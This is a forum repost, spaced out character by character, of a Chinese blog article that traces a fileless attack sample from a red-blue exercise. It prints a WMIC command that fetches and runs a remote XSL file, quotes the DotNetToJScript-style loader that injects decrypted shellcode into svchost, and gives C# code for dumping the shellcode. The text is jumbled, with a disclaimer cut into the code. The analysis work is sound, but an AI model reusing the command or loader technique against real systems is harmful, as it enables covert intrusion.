设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [21882] 2021-04-18_2021攻防参考一次红蓝对抗无文件攻 ...
返回列表 发新帖
查看: 2|回复: 0

[21882] 2021-04-18_2021攻防参考一次红蓝对抗无文件攻击溯源

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2021-04-18_2021攻防参考一次红蓝对抗无文件攻击溯源 2 0 2 1 攻 防 参 考   |   一 次 红 蓝 对 抗 无 文 件 攻 击 溯 源 转 自 潇 湘 信 安   L e m o n S e c   2 0 2 1 - 0 4 - 1 8 无 文 件 （ F i l e l e s s ） 和 不 落 地 （ L i v i n g   o f f   t h e   L a n d ） 攻 击 已 经 非 常 流 行 ， 特 别 是 在 一 些 高 等 级 的 攻 击 实 战 中 会 出 现 。 理 想 的 无 文 件 攻 击 是 只 存 在 于 内 存 中 的 后 门 ， 攻 击 人 员 会 找 一 些 长 期 开 机 的 基 础 设 施 。 p o w e r s h e l l 字 符 串 解 析 下 载 、 m a h t a 、 r u n d l l 3 2 、 . N E T   a s s e m b l y 托 管 代 码 注 入 文 章 作 者 ： F F E 4 原 文 地 址 ： h t t p s : / / b l o g . c s d n . n e t / c s s x n / a r t i c l e / d e t a i l s / 8 8 9 5 6 7 3 2 0 x 0 1   简 述 前 段 时 间 参 加 公 司 举 办 的 红 蓝 对 抗 演 习 ， 帮 助 蓝 军 分 析 并 溯 源 样 本 。 拿 到 样 本 时 ， 就 一 个 x s l 类 型 的 文 件 ， 和 一 个 用 来 执 行 该 样 本 的 命 令 行 ， 如 下 所 示 ： 可 以 看 出 ， 是 通 过 白 利 用 技 术 ， 通 过 w m i c 来 执 行 的 这 个 恶 意 的 x s l 文 件 ， 想 了 解 更 多 ， 可 以 参 考 这 篇 文 章 h t t p s : / / 3 g s t u d e n t . g i t h u b . i o / 3 g s t u d e n t . g i t h u b . i o / % E 5 % 8 8 % A 9 % E 7 % 9 4 % A 8 w m i c % E 8 % B 0 % 8 3 % E 7 % 9 4 % A 8 x s l % E 6 % 9 6 % 8 7 % E 4 % B B % B 6 % E 7 % 9 A % 8 4 % E 5 % 8 8 % 8 6 % E 6 % 9 E % 9 0 % E 4 % B 8 % 8 E % E 5 % 8 8 % A 9 % E 7 % 9 4 % A 8 / 0 x 0 2   x s l 文 件 分 析 X S L 文 件 是 一 种 可 扩 展 样 式 语 言 ， 可 以 通 过 内 置 标 签 来 解 析 执 行 其 他 脚 本 语 言 ， 如 ： J a v a s c r i p t ， V B s c r i p t 等 。 h t t p s : / / z h . w i k i p e d i a . o r g / w i k i / % E 5 % 8 F % A F % E 6 % 8 9 % A 9 % E 5 % B 1 % 9 5 % E 6 % A 0 % B 7 % E 5 % B C % 8 F % E 8 % A F % A D % E 8 % A 8 % 8 0 通 过 分 析 发 现 ， 该 x s l 中 内 嵌 的 远 不 止 J S 脚 本 这 么 简 单 ！ 内 嵌 的 j s 脚 本 会 修 改 当 前 进 程 的 s h e l l 环 境 为 . n e t 的 环 境 ， 然 后 通 过 解 密 b a s e 6 4 硬 编 码 的 P E 文 件 ， 该 文 件 是 由 C # 编 写 的 D L L 文 件 。 然 后 以 . N E T 的 s h e l l 环 境 来 调 用 . n e t 的 函 数 ， 并 把 硬 编 码 的 d l l 文 件 字 节 码 反 序 列 化 成 C # 类 对 象 ， 调 用 该 类 对 象 中 的 名 为 ： c a l l 的 函 数 ， 通 过 j s 调 用 . n e t 函 数 ， 参 考 ： h t t p s : / / g i t h u b . c o m / t y r a n i d / D o t N e t T o J S c r i p t 修 改 修 改 S h e l l 环 境 为 环 境 为 . N E T ： ： C : / W i n d o w s / S y s W O W 6 4 / w b e m / W M I C . e x e   o s   g e t   / f o r m a t : " / / i p / s c r i p t s / 1 . x s l " f u n c t i o n   a u t o v e r s i o n ( ) { v a r   s h e l l   =   n e w   A c t i v e X O b j e c t ( ' W S c r i p t . S h e l l ' ) ;                 v e r   =   ' v 4 . 0 . 3 0 3 1 9 ' ; t r y   {                 s h e l l . R e g R e a d ( ' H K L M S O F T W A R E M i c r o s o f t . N E T F r a m e w o r k v 4 . 0 . 3 0 3 1 9 ' ) ;                 }   c a t c h ( e )   {                 v e r   =   ' v 2 . 0 . 5 0 7 2 7 ' ;                 }                 s h e l l . E n v i r o n m e n t ( ' P r o c e s s ' ) ( ' C O M P L U S _ V e r s i o n ' )   =   v e r ;
调 用 . n e t 类 对 象 的 c a l l 函 数 ， 可 以 看 到 c a l l 函 数 传 入 一 个 系 统 进 程 名 字 ， s v c h o s t . e x e ， 另 一 个 是 b a s e 6 4 硬 编 码 的 一 段 加 密 的 c o d e r u n 函 数 ： 函 数 ： s e r i a l i z e d _ o b j 变 量 中 保 存 的 是 b a s e 6 4 硬 编 码 的 硬 编 码 的 d l l 文 件 文 件 ， 首 先 通 过 C h r o m e 浏 览 器 自 带 的 调 试 器 ， 还 原 出 完 整 的 b a s e 6 4 加 密 字 符 串 ， 点 击 右 下 角 的 c o p y 。 然 后 使 用 0 1 0 E d i t o r 自 带 的 b a s e 6 4 d e c o d e 脚 本 解 密 该 密 文                 s h e l l . E n v i r o n m e n t ( ' P r o c e s s ' ) ( ' C O M P L U S _ V e r s i o n ' )   =   v e r ;         } f u n c t i o n   r u n ( ) {                 v a r   s e r i a l i z e d _ o b j   =   ' b a s e 6 4 硬 编 码 的 C #   D L L 文 件 ' ;                 v a r   c r y p t e d c o d e   =   ' B a s e 6 4 加 密 的 s h e l l c o d e ' ;                 v a r   e n t r y _ c l a s s   =   ' t e s t ' ;                   t r y                 {                         a u t o v e r s i o n ( ) ;                         v a r   s t m   =   b a s e 6 4 T o S t r e a m ( s e r i a l i z e d _ o b j ) ;                         v a r   f m t   =   n e w   A c t i v e X O b j e c t ( ' S y s t e m . R u n t i m e . S e r i a l i z a t i o n . F o r m a t t e r s . B i n a r y . B i n a r y F o r m a t t e r ' ) ;                         v a r   a l   =   n e w   A c t i v e X O b j e c t ( ' S y s t e m . C o l l e c t i o n s . A r r a y L i s t ' ) ;                         v a r   d   =   f m t . D e s e r i a l i z e _ 2 ( s t m ) ;                         a l . A d d ( f m t . S u r r o g a t e S e l e c t o r ) ;                         v a r   o   =   d . D y n a m i c I n v o k e ( a l . T o A r r a y ( ) ) . C r e a t e I n s t a n c e ( e n t r y _ c l a s s ) ;                         o . c a l l ( ' s v c h o s t . e x e ' ,   c r y p t e d c o d e ) ;                 }                 c a t c h   ( e )                 {                 }                   r e t u r n   0 ;         }
解 密 b a s e 6 4 后 ， 切 换 个 h e x 模 式 ， 往 下 拉 动 滚 动 条 ， 可 以 看 到 文 件 的 M Z 头 ， 删 除 前 面 的 垃 圾 内 容 ， 保 留 从 M Z 头 到 末 尾 即 可 还 原 出 D L L 文 件 可 以 看 到 是 . n e t 2 . 0 库 写 的 d l l
0 x 0 3   C #   D L L 文 件 分 析 使 用 I L S p y 工 具 反 编 译 刚 才 d u m p 出 来 的 C #   D L L 文 件 ， 可 以 看 到 内 部 有 个 t e s t 类 ， 类 中 果 然 有 个 c a l l 的 方 法 c a l l （ s v c h o s t ， b a s e 6 4 密 文 ） ， C a l l 方 法 中 调 用   D E S E n c r y p t . D e c r y p t ( b 6 4 c o d e ,   t e s t . k e y ) ; 方 法 ， 解 密 b a s e 6 4 密 文 ， 然 后 使 用 硬 编 码 的 D E S K E Y ： * * * A T e a m   解 密 s h e l l c o d e 最 后 调 用 C o d e L o a d e r . C r e a t e P r o c e s s W i t h C o d e ( p a t h ,   c o d e ) ;   通 过 分 析 C r e a t e P r o c e s s W i t h C o d e 函 数 ， 发 现 是 通 过 创 建 傀 儡 进 程 的 方 式 注 入 s h e l l c o d e 并 运 行 的 ， 了 解 更 多 ， 请 参 考 h t t p s : / / w w w . 4 h o u . c o m / t e c h n o l o g y / 8 8 6 9 . h t m l
0 x 0 4   s h e l l c o d e 分 析 通 过 上 面 的 分 析 ， 可 以 写 一 个 C # 程 序 ， 把 注 入 到 进 程 中 的 s h e l l c o d e   d u m p 出 来 u s i n g   S y s t e m ; u s i n g   S y s t e m . C o l l e c t i o n s . G e n e r i c ; u s i n g   S y s t e m . I O ; u s i n g   S y s t e m . L i n q ; u s i n g   S y s t e m . S e c u r i t y . C r y p t o g r a p h y ; u s i n g   S y s t e m . T e x t ; u s i n g   S y s t e m . T h r e a d i n g . T a s k s ;   n a m e s p a c e   t e s t {         c l a s s   P r o g r a m         {                 s t a t i c   s t r i n g   k e y   =   " x x x " ;                 s t a t i c   s t r i n g   c r y p t e d c o d e   =   " b a s e 6 4 - > d e s 加 密 的 s h e l l c o d e " ;                   p u b l i c   s t a t i c   b y t e [ ]   D e c r y p t ( s t r i n g   p T o D e c r y p t ,   s t r i n g   s K e y )                 {                         D E S C r y p t o S e r v i c e P r o v i d e r   d E S C r y p t o S e r v i c e P r o v i d e r   =   n e w   D E S C r y p t o S e r v i c e P r o v i d e r ( ) ;                         b y t e [ ]   a r r a y   =   C o n v e r t . F r o m B a s e 6 4 S t r i n g ( p T o D e c r y p t ) ;                         d E S C r y p t o S e r v i c e P r o v i d e r . K e y   =   E n c o d i n g . A S C I I . G e t B y t e s ( s K e y ) ;                         d E S C r y p t o S e r v i c e P r o v i d e r . I V   =   E n c o d i n g . A S C I I . G e t B y t e s ( s K e y ) ;                         M e m o r y S t r e a m   m e m o r y S t r e a m   =   n e w   M e m o r y S t r e a m ( ) ;                         C r y p t o S t r e a m   c r y p t o S t r e a m   =   n e w   C r y p t o S t r e a m ( m e m o r y S t r e a m ,   d E S C r y p t o S e r v i c e P r o v i d e r . C r e a t e D e c r y p t o r ( ) ,   C r y p t o S t r e a m M o d e . W r i t e ) ;                         c r y p t o S t r e a m . W r i t e ( a r r a y ,   0 ,   a r r a y . L e n g t h ) ;                         c r y p t o S t r e a m . F l u s h F i n a l B l o c k ( ) ;                         r e t u r n   m e m o r y S t r e a m . T o A r r a y ( ) ;                 }                   s t a t i c   v o i d   M a i n ( s t r i n g [ ]   a r g s )                 {                         b y t e [ ]   c o d e   =     D e c r y p t ( c r y p t e d c o d e ,   k e y ) ;                       s t r i n g   f i l e P a t h   =   D i r e c t o r y . G e t C u r r e n t D i r e c t o r y ( )   +   " 1 2 3 . t x t " ;                       i f   ( F i l e . E x i s t s ( f i l e P a t h ) )                               F i l e . D e l e t e ( f i l e P a t h ) ;
分 析 s h e l l c o d e 后 ， 发 现 是 个 l o a d e r 程 序 ， 对 应 的 C 2 地 址 ， 由 于 这 边 I P 访 问 限 制 ， 访 问 不 了 总 部 那 边 的 网 络 免 责 声 明 郑 重 声 明 ： 本 号 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 ， 否 则 后 果 自 行 承 担 ！ 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦                         F i l e S t r e a m   f s   =   n e w   F i l e S t r e a m ( f i l e P a t h ,   F i l e M o d e . C r e a t e ) ;                       f s . W r i t e ( c o d e ,   0 ,   c o d e . L e n g t h ) ;                       f s . F l u s h ( ) ;                       f s . C l o s e ( ) ;                                                   i n t   n   =   1 2 3 ;                 }         } }
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:38 , Processed in 0.378651 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表